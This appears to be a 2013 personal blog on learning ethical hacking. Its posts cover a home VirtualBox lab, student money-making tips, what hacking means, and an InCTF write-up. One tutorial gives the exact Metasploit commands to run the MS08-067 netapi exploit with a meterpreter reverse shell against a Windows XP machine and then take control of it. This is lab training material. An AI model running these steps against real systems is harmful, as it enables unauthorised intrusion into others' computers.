Saturday, March 30, 2013

How To Practice Hacking Without Getting Into Trouble - Part 2 (Hacking With Metasploit)


In Part 1, we learnt how to setup a hacking lab to practice hacking since our objective is to hack without disrupting any real network or services.  Now, in this article, I will discuss ways to actually start hacking on your own. Please note that I will be using Metasploit as the primary hacking tool. Metasploit is a huge  collection of ready-to-use exploits which makes life easier for a penetration tester or ethical hacker. Metasploit comes pre-installed with Backtrack, so you don't need to do any extra installation. However, if you want to use a Windows machine as the attacker machine, you can download Metasploit for windows also (around 390MB).

In this hack, I will be hacking Windows XP using the famous netapi exploit.(don’t worry if you don’t know what that is). I'm showing this exploit because it works every time, and it is easy to demonstrate, especially for beginners.

I will be using Backtrack as an attacker and Windows XP as a victim as configured  in part 1.
Startup the Backtrack Machine and login with the username- root and password- toor




After that, type startx to start the GUI window. Now, you are greeted with the Backtrack Interface.  You can browse through all the menus and try out all the tools.
First, we will perform a port scan to see open ports and (hopefully) find out the victim's Operating System.  Type nmap -O 192.168.56.106       like so-



Now, we know that our victim is Running Windows XP SP2 or Windows Server 2003 and the port 445 is open. So, we can run the  netapi exploit using Metaspolit.

Start Metasploit by going to Start Menu->BackTrack->Exploitation Tools->Network Exploitation Tools->Metasploit Framework->msfconsole




Alternatively, you can open a terminal and type-  msfconsole


You now have the Metasploit console open and can start typing in commands. 

Type the following-


msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST  192.168.56.101
msf exploit(ms08_067_netapi) > set RHOST  192.168.56.106
msf exploit(ms08_067_netapi) > exploit


Note: LHOST means your IP address. RHOST means the victim's IP address.

After typing all that, if you  see a meterpreter shell open like below, then  congratulations!
 It means you were successful in exploiting the XP system.

Meterpreter is a reverse shell we opened after exploiting the victim's computer. Now that you have a Meterpreter shell, you can do virtually anything with that system. 

Type help to see all available commands.
Lets grab a screenshot of the victim, type screenshot

In order to get the command prompt of the remote system, type shell.  After you get shell, type ipconfig   to prove that you are indeed in the XP system. You can now do virtually anything with the system.


If you have done all the steps correctly, then you just managed your first actual hack with Metasploit.  This is just the beginning. You can find more exploits for Windows XP and Windows 7 also. Install a Windows 7 virtual machine and keep trying out new exploits. In this tutorial, we learnt how to use Metasploit to run a basic exploit to hack a remote computer in the LAN, which means you successfully performed your first network hack. I highly suggest you try out this hack as it will really help you in getting started in the world of hacking. 
In order to learn more about Metasploit, you can visit www.securitytube.net

Note: You have to regularly update  Metasploit to get the latest exploits by typing - msfupdate.  However, since we have used VirtualBox Host Only Adapter, there is no internet connectivity. In order to connect BackTrack to the internet, power it off and reset the Adapter to NAT (In Network Settings, VirtualBox Menu)


Saturday, March 9, 2013

How To Practice Hacking Without Getting Into Trouble - Part 1 (Hacking Lab)

We all know hacking is illegal. But then, how do we practice? We can practice by setting up a hacking lab.
Here, I will give you directions on how to setup a hacking lab for yourself. 
I wrote an entire tutorial on creating virtual machines etc, but the article got lost somehow, and I am too lazy to write again, so I've copied some of these articles from several sites. Links in the bottom.


Have a look at the advantages of a hacking lab
  •  It's free.You set it up yourself using free tools
  • Everything is done in One system (need at least 3 GB RAM)
  • You can practice hacking anytime.
  • You can install any kind of viruses, spyware or trojan and see how it works, without harming your system.
How are we going to create a lab with a single system?
We are going to set up a hacking environment virtually using VirtualBox . You can also use VMware, but Virtualbox is opensource, free and simple to use. What Virtualbox does is, it creates multiple virtual operating  systems in your single laptop. The operating systems created in Virtualbox are similar to a real one in every aspect except for the fact that it is Virtual, i.e no hardware.

Our virtual network is going to look like this

We need
  • Virtual box ( www.virtualbox.org) 
  • Windows XP (ISO file) ; Our target machine
  • Backtrack  (ISO file)   Our attacker machine
Firstly, visit this page and learn to  configure the Guest OS in VirtualBox .
https://www.virtualbox.org/manual/UserManual.html
Install VirtualBox in your main computer. After that, follow the following steps.
Set Up the Target system:
Now we have to set up the target system.  Install the Windows XP in VirtualBox from the ISO  file.  After the install is done, disable the Windows XP Firewall so that it will be more vulnerable.

Set up your PenTesting System:
Install Backtrack in Virtualbox. Backtrack is an excellent penetration testing distribution  that has a huge collection of ready to use of hacking tools .  We will hack the target (XP) system with it.


Change the Network Settings so that they can communicate :
Step 1:
Right Click on The XP machine
Select the Network Tab

Now you can see the "Attached to" option menu.
By default, its NAT. Use NAT when you want to surf the internet inside the VM. However, in our case, set it to "Host Only Adapter".


Do the same thing for Backtrack

Step 3:


Now run both the  operating systems .

Finding the IP address of Target System:
Open Windows XP
Run the cmd and type ipconfig
This will show the ip address of XP. It will be 192.168.56.101 by default. You can change it in the settings within XP. When you get to part two, you may need to change the IP address.

Hacking with Attacker  System:
Open a terminal in backtrack and type 
ping 192.168.56.101
You should get a reply. If you don't get a reply, check the network configuration in VirtualBox.

In Part 2, we will use Metasploit to hack the Victim machine

If you have any questions, post them in the comment section.

Here are few links of reference

Become an Independent software developer


Target audience: Computer science students or graduates.

So, you are a computer science student or you  just completed your graduation, now what? You can start looking for a job or prepare for campus placements or, you can become an independent software developer. The best part of this is that you can start earning money as well as gain professional experience, and the best part?  You are your own boss!

So, what does an independent software developer do? Well, to start with, you can develop custom applications for small firms, shops or institutions.  Some people earn Rs.10,000 to 50,000 for small to medium sized projects. After you gain some experience and depending upon your reputation in the industry, you can start earning lots more by developing large scale applications or maybe even start your own software consulting company. In this (rather crude) article, I will attempt to show you the way to achieve all this.

All you need is a little background in computer science. For all those BCA/BSc or Engineering students, this will be relatively easy compared to other graduates. Either way, the first step to becoming an independent software developer is to get proficient in the latest technologies and programming languages.  We will talk about Web applications here as it is the more popular and a little easier than developing desktop applications. However, if you want to develop desktop applications, you can use Visual Studio, QT framework , Netbeans IDE etc.  Visual Basic 6 used to be popular, but it is now highly outdated although you can still use it. Many universities and colleges still teach Visual basic 6 today.  If you want, I can even write another article on developing desktop applications. Let me know in the comments.

Now, for developing web applications, you will be using one among these languages; asp, php or jsp.  These three technologies are the most popular today. I would suggest using php as it is free,open source and easier to learn. PHP is a server side scripting language. The syntax is also a bit similar to C. You can use asp if you have experience with it or if  you made your final year project with it.
All right, now let's talk about PHP. In order to be able to develop full fledged applications with php, you need to know a few other things.

1.The  PHP language itself.
2. MySql database
3. Ajax
3.Client server technology.

You can learn these technologies  all by yourself from the tons of tutorials available on the net.  This will be the most cost effective way. Or, you can take a course at a computer institute nearby.   MySql is the database which stores data from your application in a secure and  easy to retrieve manner.  PHP and MySql have native support for each other, so they are the best combo.  Next, you will have to design the site where you will host your web application. Since it will be only for the staff or employees to use, it need not be beautiful. You can use Dreamweaver or any other web designing software to design the forms, like text field, buttons etc. You don't need to be an expert web designer although a little proficiency helps. Along with HTML, you will need to know a bit of CSS and JavaScript if you want to make your webpage more interactive and beautiful. (This combination of HTML,CSS,JavaScript, etc is known as AJAX). This part is optional, because you can have a plain looking webpage but still have an excellent application, as long as you know what you are doing. 
You can develop your applications using the WAMP or XAMPP platform.  WAMP and XAMPP are a readymade combination of Apache web server, MySql, and PHP.  Here you can test and deploy your application.

Next comes  the web server where you will deploy your application. You can have an Internet based application , or an Intranet based application. If your client needs the application to be accessible from anywhere through the Internet, you will need to buy a domain name or use an existing domain name. You can buy a domain for as cheap as Rs.100 a year, if you are lucky. You will also need a PHP MySql web hosting provider. You will host your web application here. This may be as cheap as Rs. 800 a year, depending on the provider you choose.Here  are a few web hosting providers.

If you want your site/application to be accessible only from the local network, it is called an intranet site. This is much simpler and easier than the Internet based one.  You will need a desktop computer where you will host your site and database. Other computers will connect to this server  via LAN or wifi. The only requirement here is that your server be on during working hours so that employees can use the application.  Another important aspect is the security of your application. You need to learn some basic secure coding and web app pentesting methods, that way, your site will be safe from hackers.

Hopefully, if you are still reading this article, you now know how to develop a PHP application and start earning some money. You can take help from people who are already working in the software industry.  The best way to get about in this field is to offer your first few projects free of cost.  This will be your portfolio and people will start entrusting you with their software needs after that.  
Your feedback and comments are always welcome.


Friday, March 8, 2013

10 ways you can earn money as a computer science student


You may be a BCA or BTech student studying computer science. During your 3 or 4 year degree course, you can earn some pocket money and also gain experience at the same time. I have listed here 10 ways you can earn money, not much, but like I said, enough for pocket money. The concept of earning while in college is relatively more common in the west than here in India. In India, we tend to view college life as  either studies only or enjoyment only, depending on the student.

1.  Develop websites for others
Since you are a computer science student, you can develop websites for people.  Initially, it might be hard to find a client as you have no experience, so, develop your own websites and showcase them as your portfolio.  You can develop static html pages or dynamic php or asp pages depending on your choice of languages.   If a traditional website is what your client wants, you can use popular Content Management Systems(CMS) like wordpress or joomla. Wordpress and joomla are readymade website' templates' and are very easy to set up. You may even offer a whole website package which includes  the domain name, website , email , hosting and support. This can earn you some money as well as give you experience to enhance your resume.

2.  Become a freelance software developer
Becoming a software developer is not difficult, but it requires a lot of effort and perseverance. It is similar  like becoming a website developer except that you will be developing software applications for small businesses and enterprises.  You can start by developing a student management software for your school or college. They may or may not use it, but it will give you some experience to start with.  If you will be developing GUI  desktop applications, you have an array of choices like VisualStudio, QT C++, Netbeans, Delphi etc.  I have written an article on becoming a software developer here.

3. Repair computers of friends/family
If you want to plan your career in the hardware and networking path, you can start by offering services - like repairing  computers and  windows installations - to  friends and family members.  This will greatly enhance your troubleshooting skills also.  The objective here is to establish a name for yourself. You can then expand to shops and cyber-cafes where computer services are in great demand.  After you have achieved some repute, you can start charging people for  your services.

4. Work part time in call centers as technical  support role
This will help you in two ways. One, you will gain some technical know-how about troubleshooting, two, you will learn some people skills and communication skills. You can work part time in a nearby call center or company. Although part-time jobs are hard to come by these days, you can still find them if you look hard enough.

5. Participate in programming  contests.
There are many programming and software development contests going on all over the world. Most of them are online. The benefit here is twofold; enhancing your programming skills as well as a cash prize, if you win. The best example is the IBM - The Great Mind Challenge , although t is only  for Indians. There are many other contests like this all over the world. Google is your best friend.

 6. Write tech related articles
You can write technology themed articles. For this, you can either start your own blog or join an online freelance website like Elance, Odesk or Freelancer. At any given time, there are plenty of potential clients in these sites hiring freelancers to write their tech blogs or websites.

7. Help others in online(paying) forums such as ealp.com
There are several forums online which pay you for answering questions people ask. The best I can think of is the Earn And  Learn Program (www.ealp.com). Payment from this site is made once a month. I tried this once, and I got a cheque of Rs. 1000 for a month's work (10 minutes a day). You can earn around 5000 in a month, but It will consume much of your time.

8. Internship at a software company
Many software/IT  companies take interns for technical work. Although internships are not easy to find in India, the situation seems to be better in the west. Once you get a job as an intern, you can work at the company for about 2-6 months. This can be counted as experience and will enhance your resume. Twenty19 is an excellent website for searching for internships. They list both paying and non paying internships all over India.

9. Develop android/mobile apps and sell it
Download the Android SDK and start developing android applications. Android is one of the hottest mobile Operating Systems available today. With Karbonn and Micromax launching cheaper and cheaper  Android phones, the market is huge. Develop games or applications and sell them in the Google Play store. You can develop Symbian and  Apple apps also.

10. Become a freelance ethical hacker
You can learn hacking and once you are good enough, you can start becoming a freelance cyber security consultant. This idea is not  mainstream and only few people will be  up for this. That is why it is in the last. It will be quite difficult to do this, but once you earn a certain repute as a freelance pen tester, your earnings will be good. You can start by offering to secure the computers of others and remember to  constantly practice  in your hacking lab. I am currently doing just this through Elance.com. 2 years ago, I signed up for a free elance account and now people hire me to test their websites  after looking at my elance profile


A Layman's Idea of Hacking


When I was in Class 11, a friend of mine showed me a cool trick to invert the desktop of a computer just by pressing some keys in the keyboard. It was Ctrl+Alt+(Down Arrow). I was amazed as I had never seen anything like that.   At that time, we were siting in the school computer lab, and it got me thinking about all the cool things that can be done with computers. I started searching online for computer tricks, pranks and hacks, hoping  to annoy and amaze my friends at the same time. That was what got me started into the world of hacking.
Due to our heavy influence of  movies we think of hackers as computer geniuses who can hack  WiFi passwords, Traffic cameras,  NSA or FBI servers, emails, websites, all with just a few clicks of the mouse or keyboard. Hackers are also thought to be able to derail trains, sink ships or launch nuclear missiles. Although many of these things are possible in real life, Hollywood has made it look far too easy. In the real world, hacking involves a lot of steps and techniques which requires you to have extensive knowledge and experience with computer systems.

People tend to think of hackers as evil geniuses or high-tech criminals. That may be partly true, but those who use their skills for malicious purposes are  'crackers'.  A hacker is someone who is adaptable to any environment and tweak systems to make things better or more convenient.  

There is a big misconception about teenage hackers. The movies portray teenage hackers and the media hypes them. If a teenager manages to 'hack' a website, he comes to the limelight and is portrayed as a prodigy.  I'm saying as a teenager myself. The fact is that the website was hacked not because of the teenager's skill, but because of the website owner's carelessness in properly implementing security procedures. Majority of hacking attacks happen due to the programmer or  system administrator's ignorance of security. I'm not saying that there are no prodigies. I'm saying that majority of teen hackers are script kiddies who know a particular hacking trick or technique and got lucky.

Hacking is not a crime if you have the permissions to hack. Professional hackers are called Penetration Testers or Pen Testers. They are hired by companies and  governments to hack their systems to 'test' how secure they are. And it is a pretty cool job too. Getting paid to hack. Hackers are very normal people, not someone sitting in a dark basement with a computer and wires dangling all around.  Anyone can become a hacker, provided he has the determination and perseverance. 
Posted on 9:26 PM | Categories:

InCTF 2013 Writeup (update)


Part 1.
Two  months ago, my friends and I registered in the InCTF  2013 organised by Amrita Vishwa Vidyapeetham University.  A CTF (Capture The Flag) is a hacking competition where the objective(in the final round) is to hack the opponent's system and capture the 'flags'.  5 of us registered in the event as 5 members was mandatory.  There are 3 rounds in all. The 1st round questions were available readily. It consisted of a list of tasks and questions to be completed.
The concept of giving the 1st round as a 'learning round' is very good. We thought it would be a daunting task to complete all the challenges, and my friends backed out one by one until only two of us were left. So, two of us started working on it. What we realized is that the tasks given are actually very useful in real life, although it may not be apparent at first glance. Earlier, I used to run exploits and scripts without really understanding them. Now it is becoming a bit clearer, although I still  have a long way to go We also learnt things we would never have learnt in any academic course.  Example, how to hack linux passwords, how to start or stop ssh or apache servers, How to secure apache or MySQL, PHP and MySQL database connectivity, Reverse engineering (the toughest in our opinion) cyber security concepts, networking, buffer overflows etc.

So, In the last day for submission of the First round answers, we compiled everything and in the rush of the hour, and I wrote this article. Anyway, this is only the 1st round, we will  see what  more is to come in the other rounds. I have a feeling this is just the tip of the iceberg!

Part 2 (updated)

Since Round 1 was the learning phase, we had plenty of time, but in Round 2, time was rather limited as there were live challenges posted in the portal. The challenges included web hacking, reverse engineering, buffer overflows digital forensics etc. We were supposed to crack the challenges and find the 'flags'. These flags should be submitted at the portal to get the points. It was really tough for us as it was the first time we had seen such challenges. And I knew we weren't the only ones having a hard time as the scoreboard showed that from the  154 teams, only about 37 teams managed to solve at least one challenge, the rest couldn't score a single point. Now, with some effort, we managed to solve 2 or 3 challenges and that was it. We couldn't solve any other challenge. We thought that was the end of it.
However, we were surprised to learn that  we were selected to participate in the 3rd (Final) round. It was really exciting for us, but due to conflict in timing with our University exams, we had to forfeit from the contest.
The organizers of InCTF are doing a great job of creating cyber security awareness and helping students set foot  in the path toward ethical hacking.
Here, I have compiled a list of tips which anyone wishing to participate in CTFs should remember. My team will be participating again in the next CTF event, and we are following the same.


Tips for contesting in a CTF

1. Learn Linux (commands, scripting etc)
2. Learn Assembly Language programming. SecurityTube has excellent videos.
3. Learn C and C++  under Linux environment. That means use gcc compiler. Don't use Turbo C, it will get you nowhere.
4. Learn HTML,JavaScript, PHP and  MySQL, and after that, learn web hacking techniques like SQL injection and XSS.
5. Learn Buffer Overflows. Again,  SecurityTube has excellent videos.
6. Learn shellcoding, reverse engineering and  exploit writing.